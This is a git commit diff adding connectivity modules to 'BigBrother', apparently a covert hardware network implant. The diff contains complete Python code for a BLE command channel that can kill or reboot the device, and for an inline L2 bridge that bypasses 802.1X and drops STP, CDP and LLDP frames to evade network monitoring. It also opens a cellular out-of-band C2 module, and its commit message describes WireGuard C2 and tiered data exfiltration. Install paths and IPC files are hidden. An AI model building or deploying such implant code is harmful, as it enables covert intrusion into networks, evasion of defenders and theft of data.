Add Phase 3 connectivity modules — 8 modules + bridge scripts
WireGuard (primary C2, PersistentKeepalive=0 for zero idle traffic), Tailscale (fallback mesh VPN), Bridge (transparent inline L2 bridge with 802.1X bypass and ebtables protocol suppression), WiFiClient (WPA2-PSK and WPA2-Enterprise via wpa_supplicant), ReverseTunnel (autossh over stunnel/websocket — never raw SSH on 443), CellularBackup (LTE modem via AT commands/mmcli, OPi Zero 3+ only), BLEEmergency (GATT server with PSK auth for local last-resort access), DataExfil (priority-based exfil with IMMEDIATE/NIGHTLY/ON_DEMAND tiers through connectivity chain). Bridge scripts: setup_bridge.sh (create br0, disable STP, suppress CDP/LLDP/BPDU via ebtables) and teardown_bridge.sh (safe cleanup).
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
"""BigBrother connectivity modules — C2 and data transport layer."""
|
||||
|
||||
from modules.connectivity.wireguard import WireGuard
|
||||
from modules.connectivity.tailscale import Tailscale
|
||||
from modules.connectivity.bridge import Bridge
|
||||
from modules.connectivity.wifi_client import WiFiClient
|
||||
from modules.connectivity.reverse_tunnel import ReverseTunnel
|
||||
from modules.connectivity.cellular_backup import CellularBackup
|
||||
from modules.connectivity.ble_emergency import BLEEmergency
|
||||
from modules.connectivity.data_exfil import DataExfil
|
||||
|
||||
__all__ = [
|
||||
"WireGuard",
|
||||
"Tailscale",
|
||||
"Bridge",
|
||||
"WiFiClient",
|
||||
"ReverseTunnel",
|
||||
"CellularBackup",
|
||||
"BLEEmergency",
|
||||
"DataExfil",
|
||||
]
|
||||
@@ -0,0 +1,447 @@
|
||||
#!/usr/bin/env python3
|
||||
"""BLE emergency module — GATT server for local emergency access.
|
||||
|
||||
Provides a Bluetooth Low Energy GATT server for last-resort local access
|
||||
when all network connectivity is lost. PSK-authenticated commands over
|
||||
a custom GATT service allow the operator within ~10m to check status,
|
||||
issue kill commands, reboot, or retrieve the current IP.
|
||||
|
||||
Disabled by default — must be explicitly enabled in config.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import secrets
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.ble_emergency")
|
||||
|
||||
# Custom BLE service/characteristic UUIDs (random, non-standard)
|
||||
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
|
||||
CMD_CHAR_UUID = "bb000002-1337-4000-8000-000000000002" # Write: send command
|
||||
RESP_CHAR_UUID = "bb000003-1337-4000-8000-000000000003" # Read/Notify: response
|
||||
|
||||
# Max BLE MTU for response
|
||||
BLE_MTU = 512
|
||||
ADV_TIMEOUT = 0 # 0 = advertise indefinitely
|
||||
|
||||
|
||||
class BLEEmergency(BaseModule):
|
||||
"""BLE GATT server for emergency local access with PSK auth."""
|
||||
|
||||
name = "ble_emergency"
|
||||
module_type = "connectivity"
|
||||
priority = -50
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._psk: Optional[str] = None
|
||||
self._advertising = False
|
||||
self._gatt_thread: Optional[threading.Thread] = None
|
||||
self._hci_device = "hci0"
|
||||
self._device_name: Optional[str] = None
|
||||
self._nonce: Optional[str] = None
|
||||
self._authenticated_sessions: set = set()
|
||||
self._last_response: str = ""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
ble_cfg = self.config.get("connectivity", {}).get("ble_emergency", {})
|
||||
|
||||
# Disabled by default
|
||||
if not ble_cfg.get("enabled", False):
|
||||
logger.info("BLE emergency module disabled (set ble_emergency.enabled=true)")
|
||||
self.state.set_module_status(self.name, "disabled",
|
||||
extra={"reason": "not_enabled"})
|
||||
return
|
||||
|
||||
self._psk = ble_cfg.get("psk")
|
||||
if not self._psk:
|
||||
logger.error("BLE emergency PSK not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._hci_device = ble_cfg.get("hci_device", "hci0")
|
||||
self._device_name = ble_cfg.get("device_name")
|
||||
|
||||
# If no device name, try to match MAC profile for consistency
|
||||
if not self._device_name:
|
||||
mac_hostname = self.state.get(
|
||||
"mac_manager", "dhcp_hostname", default=None
|
||||
)
|
||||
self._device_name = mac_hostname if mac_hostname else "LE-Device"
|
||||
|
||||
if not self._check_bluetooth_available():
|
||||
logger.error("Bluetooth hardware not available")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
if not self.start_gatt():
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("BLE emergency GATT server active (device: %s)", self._device_name)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.stop_gatt()
|
||||
self._running = False
|
||||
self._advertising = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("BLE emergency stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"advertising": self._advertising,
|
||||
"hci_device": self._hci_device,
|
||||
"device_name": self._device_name,
|
||||
"authenticated_sessions": len(self._authenticated_sessions),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_advertising()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# GATT server operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_gatt(self) -> bool:
|
||||
"""Start BLE advertising and GATT server."""
|
||||
# Enable BLE adapter
|
||||
if not self._enable_adapter():
|
||||
return False
|
||||
|
||||
# Set device name
|
||||
if not self._set_device_name():
|
||||
logger.warning("Could not set BLE device name")
|
||||
|
||||
# Start advertising
|
||||
if not self._start_advertising():
|
||||
return False
|
||||
|
||||
# Start GATT command listener in background thread
|
||||
self._nonce = secrets.token_hex(16)
|
||||
self._gatt_thread = threading.Thread(
|
||||
target=self._gatt_listen_loop, daemon=True, name="bb-ble-gatt",
|
||||
)
|
||||
self._gatt_thread.start()
|
||||
|
||||
self._advertising = True
|
||||
return True
|
||||
|
||||
def stop_gatt(self) -> None:
|
||||
"""Stop GATT server and BLE advertising."""
|
||||
self._advertising = False
|
||||
self._stop_advertising()
|
||||
|
||||
if self._gatt_thread and self._gatt_thread.is_alive():
|
||||
self._gatt_thread.join(timeout=3.0)
|
||||
|
||||
self._authenticated_sessions.clear()
|
||||
|
||||
def is_advertising(self) -> bool:
|
||||
"""Check if BLE advertising is active."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["hciconfig", self._hci_device],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
return "UP RUNNING" in result.stdout
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BLE adapter management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _check_bluetooth_available(self) -> bool:
|
||||
"""Check if Bluetooth hardware is present."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["hciconfig", self._hci_device],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return result.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _enable_adapter(self) -> bool:
|
||||
"""Power on the BLE adapter."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "up"],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
# Enable LE mode
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "leadv", "0"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
|
||||
logger.error("Failed to enable BLE adapter: %s", exc)
|
||||
return False
|
||||
|
||||
def _set_device_name(self) -> bool:
|
||||
"""Set the BLE device name via bluetoothctl."""
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
["bluetoothctl", "--", "system-alias", self._device_name],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return proc.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _start_advertising(self) -> bool:
|
||||
"""Start BLE advertising."""
|
||||
try:
|
||||
# Set advertising data
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "leadv", "0"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
# Also use btmgmt for more control if available
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"power", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"le", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"connectable", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"advertising", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _stop_advertising(self) -> None:
|
||||
"""Stop BLE advertising."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "noleadv"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# GATT command processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _gatt_listen_loop(self) -> None:
|
||||
"""Listen for GATT characteristic writes via bluetoothctl/gatttool.
|
||||
|
||||
This loop uses a simple file-based IPC approach: commands are written
|
||||
to a well-known path by the BLE GATT callback, and this loop processes
|
||||
them. In production, this would use dbus-python to register a proper
|
||||
GATT application.
|
||||
"""
|
||||
cmd_fifo = "/tmp/.bb_ble_cmd"
|
||||
resp_fifo = "/tmp/.bb_ble_resp"
|
||||
|
||||
# Create FIFOs for IPC
|
||||
for fifo in (cmd_fifo, resp_fifo):
|
||||
try:
|
||||
if os.path.exists(fifo):
|
||||
os.unlink(fifo)
|
||||
os.mkfifo(fifo, 0o600)
|
||||
except OSError as exc:
|
||||
logger.error("Cannot create BLE FIFO %s: %s", fifo, exc)
|
||||
return
|
||||
|
||||
logger.debug("BLE GATT listener ready on FIFOs")
|
||||
|
||||
while self._advertising and self._running:
|
||||
try:
|
||||
# Non-blocking read from command FIFO
|
||||
fd = os.open(cmd_fifo, os.O_RDONLY | os.O_NONBLOCK)
|
||||
try:
|
||||
data = os.read(fd, 4096)
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
if data:
|
||||
cmd_str = data.decode(errors='replace').strip()
|
||||
response = self._process_command(cmd_str)
|
||||
self._last_response = response
|
||||
|
||||
# Write response to response FIFO
|
||||
try:
|
||||
fd = os.open(resp_fifo, os.O_WRONLY | os.O_NONBLOCK)
|
||||
try:
|
||||
os.write(fd, response.encode()[:BLE_MTU])
|
||||
finally:
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
except OSError:
|
||||
pass # No data ready
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
# Cleanup FIFOs
|
||||
for fifo in (cmd_fifo, resp_fifo):
|
||||
try:
|
||||
os.unlink(fifo)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def _process_command(self, raw_cmd: str) -> str:
|
||||
"""Process an authenticated BLE command.
|
||||
|
||||
Command format: <hmac_hex>:<command>
|
||||
HMAC is computed over: nonce + command using the PSK.
|
||||
"""
|
||||
if ":" not in raw_cmd:
|
||||
return '{"error": "invalid format"}'
|
||||
|
||||
provided_hmac, command = raw_cmd.split(":", 1)
|
||||
command = command.strip().lower()
|
||||
|
||||
# Verify HMAC
|
||||
if not self._verify_hmac(provided_hmac, command):
|
||||
logger.warning("BLE auth failed for command: %s", command)
|
||||
return '{"error": "auth_failed"}'
|
||||
|
||||
# Rotate nonce after successful auth
|
||||
old_nonce = self._nonce
|
||||
self._nonce = secrets.token_hex(16)
|
||||
|
||||
# Execute command
|
||||
if command == "status":
|
||||
return self._cmd_status()
|
||||
elif command == "kill":
|
||||
return self._cmd_kill()
|
||||
elif command == "reboot":
|
||||
return self._cmd_reboot()
|
||||
elif command == "get_ip":
|
||||
return self._cmd_get_ip()
|
||||
elif command == "get_nonce":
|
||||
# Return new nonce for next command (unauthenticated)
|
||||
return json.dumps({"nonce": self._nonce})
|
||||
else:
|
||||
return json.dumps({"error": "unknown_command", "commands": [
|
||||
"status", "kill", "reboot", "get_ip", "get_nonce"
|
||||
]})
|
||||
|
||||
def _verify_hmac(self, provided_hmac: str, command: str) -> bool:
|
||||
"""Verify HMAC authentication for a BLE command."""
|
||||
if not self._psk or not self._nonce:
|
||||
return False
|
||||
|
||||
message = f"{self._nonce}:{command}".encode()
|
||||
expected = hmac.new(
|
||||
self._psk.encode(), message, hashlib.sha256
|
||||
).hexdigest()
|
||||
|
||||
return hmac.compare_digest(provided_hmac.lower(), expected.lower())
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BLE command handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _cmd_status(self) -> str:
|
||||
"""Return implant status summary."""
|
||||
status_data = {
|
||||
"ok": True,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"nonce": self._nonce,
|
||||
}
|
||||
|
||||
# Get connectivity status from state
|
||||
all_status = self.state.get_all_module_status()
|
||||
connectivity_modules = {}
|
||||
for name, info in all_status.items():
|
||||
if name in ("wireguard", "tailscale", "reverse_tunnel", "cellular_backup"):
|
||||
connectivity_modules[name] = info.get("status", "unknown")
|
||||
status_data["connectivity"] = connectivity_modules
|
||||
|
||||
return json.dumps(status_data)
|
||||
|
||||
def _cmd_kill(self) -> str:
|
||||
"""Trigger kill switch via event bus."""
|
||||
logger.warning("Kill switch triggered via BLE emergency")
|
||||
self.bus.emit("KILL_SWITCH",
|
||||
{"source": "ble_emergency", "reason": "operator_ble_command"},
|
||||
source_module=self.name)
|
||||
return json.dumps({"ok": True, "action": "kill_switch_triggered"})
|
||||
|
||||
def _cmd_reboot(self) -> str:
|
||||
"""Trigger system reboot."""
|
||||
logger.warning("Reboot triggered via BLE emergency")
|
||||
|
||||
def _delayed_reboot():
|
||||
time.sleep(2.0)
|
||||
try:
|
||||
subprocess.run(["reboot"], timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
threading.Thread(target=_delayed_reboot, daemon=True).start()
|
||||
return json.dumps({"ok": True, "action": "reboot_in_2s"})
|
||||
|
||||
def _cmd_get_ip(self) -> str:
|
||||
"""Return all IP addresses on the system."""
|
||||
ips = {}
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ip", "-4", "-o", "addr", "show"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
import re
|
||||
for line in result.stdout.strip().splitlines():
|
||||
match = re.search(r'(\S+)\s+inet\s+(\d+\.\d+\.\d+\.\d+)', line)
|
||||
if match:
|
||||
iface = match.group(1)
|
||||
ip = match.group(2)
|
||||
if iface != "lo":
|
||||
ips[iface] = ip
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
return json.dumps({"ips": ips, "nonce": self._nonce})
|
||||
@@ -0,0 +1,359 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Bridge module — transparent inline network bridge.
|
||||
|
||||
Creates a transparent L2 bridge between the onboard ethernet adapter and a
|
||||
USB ethernet adapter. The bridge has NO IP address — it is invisible on the
|
||||
network and can only be detected by physical inspection.
|
||||
|
||||
Provides 802.1X bypass via silent bridge (EAP passthrough) and suppresses
|
||||
STP/BPDU/CDP/LLDP frames via ebtables to avoid triggering network monitoring.
|
||||
|
||||
A C watchdog thread monitors bridge health and restores direct connectivity
|
||||
within 15 seconds if the bridge fails.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.bridge")
|
||||
|
||||
BRIDGE_NAME = "br0"
|
||||
WATCHDOG_INTERVAL = 5.0 # seconds between health checks
|
||||
WATCHDOG_MAX_FAILURES = 3 # consecutive failures before teardown
|
||||
FAILSAFE_TIMEOUT = 15 # seconds — must restore connectivity within this
|
||||
|
||||
|
||||
class Bridge(BaseModule):
|
||||
"""Transparent inline bridge — invisible on the network."""
|
||||
|
||||
name = "bridge"
|
||||
module_type = "connectivity"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._if1: Optional[str] = None
|
||||
self._if2: Optional[str] = None
|
||||
self._bridge_up = False
|
||||
self._watchdog_thread: Optional[threading.Thread] = None
|
||||
self._consecutive_failures = 0
|
||||
self._scripts_dir: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
br_cfg = self.config.get("connectivity", {}).get("bridge", {})
|
||||
if not br_cfg:
|
||||
logger.error("No bridge config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._if1 = br_cfg.get("interface1")
|
||||
self._if2 = br_cfg.get("interface2")
|
||||
|
||||
if not self._if1 or not self._if2:
|
||||
logger.error("Bridge requires interface1 and interface2 in config")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Locate scripts directory
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._scripts_dir = os.path.join(install_path, "scripts")
|
||||
|
||||
if not self.setup_bridge(self._if1, self._if2):
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Start watchdog thread
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._bridge_up = True
|
||||
|
||||
self._watchdog_thread = threading.Thread(
|
||||
target=self._watchdog_loop, daemon=True, name="bb-bridge-watchdog",
|
||||
)
|
||||
self._watchdog_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"bridge": BRIDGE_NAME, "if1": self._if1, "if2": self._if2},
|
||||
source_module=self.name)
|
||||
logger.info("Bridge %s active: %s <-> %s", BRIDGE_NAME, self._if1, self._if2)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self._running = False
|
||||
|
||||
if self._watchdog_thread and self._watchdog_thread.is_alive():
|
||||
self._watchdog_thread.join(timeout=5.0)
|
||||
|
||||
self.teardown_bridge()
|
||||
self._bridge_up = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Bridge torn down")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"bridge_up": self._bridge_up,
|
||||
"bridge_name": BRIDGE_NAME,
|
||||
"interface1": self._if1,
|
||||
"interface2": self._if2,
|
||||
"healthy": self.is_healthy(),
|
||||
"consecutive_failures": self._consecutive_failures,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_healthy()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Bridge operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def setup_bridge(self, if1: str, if2: str) -> bool:
|
||||
"""Create transparent bridge between two interfaces.
|
||||
|
||||
Tries the shell script first; falls back to inline commands if
|
||||
the script is missing.
|
||||
"""
|
||||
script = os.path.join(self._scripts_dir, "setup_bridge.sh") if self._scripts_dir else None
|
||||
|
||||
if script and os.path.isfile(script):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["bash", script, if1, if2],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("Bridge setup via script succeeded")
|
||||
return True
|
||||
logger.warning("Bridge script failed: %s", result.stderr.strip())
|
||||
except (subprocess.TimeoutExpired, OSError) as exc:
|
||||
logger.warning("Bridge script error: %s", exc)
|
||||
|
||||
# Fallback: inline bridge setup
|
||||
return self._setup_bridge_inline(if1, if2)
|
||||
|
||||
def teardown_bridge(self) -> bool:
|
||||
"""Remove bridge and restore interfaces."""
|
||||
script = os.path.join(self._scripts_dir, "teardown_bridge.sh") if self._scripts_dir else None
|
||||
|
||||
if script and os.path.isfile(script):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["bash", script],
|
||||
capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
logger.info("Bridge teardown via script succeeded")
|
||||
return True
|
||||
logger.warning("Teardown script failed: %s", result.stderr.strip())
|
||||
except (subprocess.TimeoutExpired, OSError) as exc:
|
||||
logger.warning("Teardown script error: %s", exc)
|
||||
|
||||
# Fallback: inline teardown
|
||||
return self._teardown_bridge_inline()
|
||||
|
||||
def is_healthy(self) -> bool:
|
||||
"""Check if the bridge interface exists and both ports are attached."""
|
||||
try:
|
||||
# Check bridge exists
|
||||
result = subprocess.run(
|
||||
["ip", "link", "show", BRIDGE_NAME],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
# Check both interfaces are in the bridge
|
||||
result = subprocess.run(
|
||||
["bridge", "link", "show", "dev", self._if1],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if BRIDGE_NAME not in result.stdout:
|
||||
return False
|
||||
|
||||
result = subprocess.run(
|
||||
["bridge", "link", "show", "dev", self._if2],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if BRIDGE_NAME not in result.stdout:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
except (subprocess.TimeoutExpired, OSError):
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Inline bridge commands (fallback if scripts missing)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_bridge_inline(self, if1: str, if2: str) -> bool:
|
||||
"""Create bridge using ip/bridge/ebtables commands directly."""
|
||||
commands = [
|
||||
# Create bridge, no IP
|
||||
["ip", "link", "add", "name", BRIDGE_NAME, "type", "bridge"],
|
||||
# Disable STP
|
||||
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "stp_state", "0"],
|
||||
# Disable forwarding delay
|
||||
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "forward_delay", "0"],
|
||||
# Set promiscuous mode on interfaces
|
||||
["ip", "link", "set", if1, "promisc", "on"],
|
||||
["ip", "link", "set", if2, "promisc", "on"],
|
||||
# Flush any existing IP addresses
|
||||
["ip", "addr", "flush", "dev", if1],
|
||||
["ip", "addr", "flush", "dev", if2],
|
||||
# Add interfaces to bridge
|
||||
["ip", "link", "set", if1, "master", BRIDGE_NAME],
|
||||
["ip", "link", "set", if2, "master", BRIDGE_NAME],
|
||||
# Bring everything up
|
||||
["ip", "link", "set", "up", "dev", if1],
|
||||
["ip", "link", "set", "up", "dev", if2],
|
||||
["ip", "link", "set", "up", "dev", BRIDGE_NAME],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
try:
|
||||
subprocess.run(cmd, check=True, capture_output=True, timeout=10)
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("Bridge setup command failed: %s — %s",
|
||||
" ".join(cmd), exc.stderr.decode(errors='replace'))
|
||||
self._teardown_bridge_inline()
|
||||
return False
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("Bridge setup command timed out: %s", " ".join(cmd))
|
||||
self._teardown_bridge_inline()
|
||||
return False
|
||||
|
||||
# Suppress STP/BPDU/CDP/LLDP via ebtables
|
||||
self._apply_ebtables_rules(if1, if2)
|
||||
|
||||
logger.info("Inline bridge setup complete: %s <-> %s via %s", if1, if2, BRIDGE_NAME)
|
||||
return True
|
||||
|
||||
def _teardown_bridge_inline(self) -> bool:
|
||||
"""Remove bridge and restore interfaces."""
|
||||
# Remove ebtables rules (best-effort)
|
||||
self._remove_ebtables_rules()
|
||||
|
||||
commands = [
|
||||
["ip", "link", "set", "down", "dev", BRIDGE_NAME],
|
||||
]
|
||||
|
||||
# Remove interfaces from bridge
|
||||
if self._if1:
|
||||
commands.append(["ip", "link", "set", self._if1, "nomaster"])
|
||||
commands.append(["ip", "link", "set", self._if1, "promisc", "off"])
|
||||
if self._if2:
|
||||
commands.append(["ip", "link", "set", self._if2, "nomaster"])
|
||||
commands.append(["ip", "link", "set", self._if2, "promisc", "off"])
|
||||
|
||||
commands.append(["ip", "link", "del", BRIDGE_NAME])
|
||||
|
||||
for cmd in commands:
|
||||
try:
|
||||
subprocess.run(cmd, capture_output=True, timeout=10)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
||||
pass # Best-effort teardown
|
||||
|
||||
logger.info("Inline bridge teardown complete")
|
||||
return True
|
||||
|
||||
def _apply_ebtables_rules(self, if1: str, if2: str) -> None:
|
||||
"""Apply ebtables rules to suppress discovery protocols."""
|
||||
# STP/BPDU destination: 01:80:C2:00:00:00
|
||||
# CDP/VTP: 01:00:0C:CC:CC:CC
|
||||
# LLDP: 01:80:C2:00:00:0E
|
||||
suppress_macs = [
|
||||
"01:80:C2:00:00:00", # STP/BPDU
|
||||
"01:00:0C:CC:CC:CC", # CDP/VTP
|
||||
"01:80:C2:00:00:0E", # LLDP
|
||||
"01:00:0C:CC:CC:CD", # Cisco PVST+
|
||||
]
|
||||
|
||||
for mac in suppress_macs:
|
||||
for direction in ["FORWARD", "OUTPUT"]:
|
||||
cmd = ["ebtables", "-A", direction, "-d", mac, "-j", "DROP"]
|
||||
try:
|
||||
subprocess.run(cmd, capture_output=True, timeout=5)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
logger.debug("ebtables rule failed (may not be installed): %s", " ".join(cmd))
|
||||
|
||||
def _remove_ebtables_rules(self) -> None:
|
||||
"""Flush ebtables rules."""
|
||||
try:
|
||||
subprocess.run(["ebtables", "-F"], capture_output=True, timeout=5)
|
||||
subprocess.run(["ebtables", "-X"], capture_output=True, timeout=5)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Watchdog thread
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _watchdog_loop(self) -> None:
|
||||
"""Monitor bridge health; restore direct connectivity on failure."""
|
||||
while self._running:
|
||||
time.sleep(WATCHDOG_INTERVAL)
|
||||
if not self._running:
|
||||
break
|
||||
|
||||
if self.is_healthy():
|
||||
self._consecutive_failures = 0
|
||||
continue
|
||||
|
||||
self._consecutive_failures += 1
|
||||
logger.warning("Bridge health check failed (%d/%d)",
|
||||
self._consecutive_failures, WATCHDOG_MAX_FAILURES)
|
||||
|
||||
if self._consecutive_failures >= WATCHDOG_MAX_FAILURES:
|
||||
logger.error("Bridge failsafe triggered — restoring direct connectivity")
|
||||
self.bus.emit("MODULE_ERROR",
|
||||
{"module": self.name,
|
||||
"error": "bridge_failsafe_triggered",
|
||||
"consecutive_failures": self._consecutive_failures},
|
||||
source_module=self.name)
|
||||
|
||||
# Teardown broken bridge and restore direct connection
|
||||
self._teardown_bridge_inline()
|
||||
self._bridge_up = False
|
||||
|
||||
# Try to re-establish bridge
|
||||
if self._if1 and self._if2:
|
||||
time.sleep(2.0)
|
||||
if self._setup_bridge_inline(self._if1, self._if2):
|
||||
self._bridge_up = True
|
||||
self._consecutive_failures = 0
|
||||
logger.info("Bridge recovered after failsafe")
|
||||
else:
|
||||
logger.error("Bridge recovery failed — operating without bridge")
|
||||
self._running = False
|
||||
@@ -0,0 +1,452 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Cellular backup module — LTE modem for out-of-band C2.
|
||||
|
||||
Manages an LTE modem (SIM7600/EC25) connected via USB through the 13-pin
|
||||
header on the Orange Pi Zero 3. Provides a completely separate network path
|
||||
from the wired/WiFi connection, enabling out-of-band command and control.
|
||||
|
||||
OPi Zero 3+ only — skips on pi_zero tier (no USB bandwidth for modem).
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import serial
|
||||
import subprocess
|
||||
import time
|
||||
from typing import Optional
|
||||
|
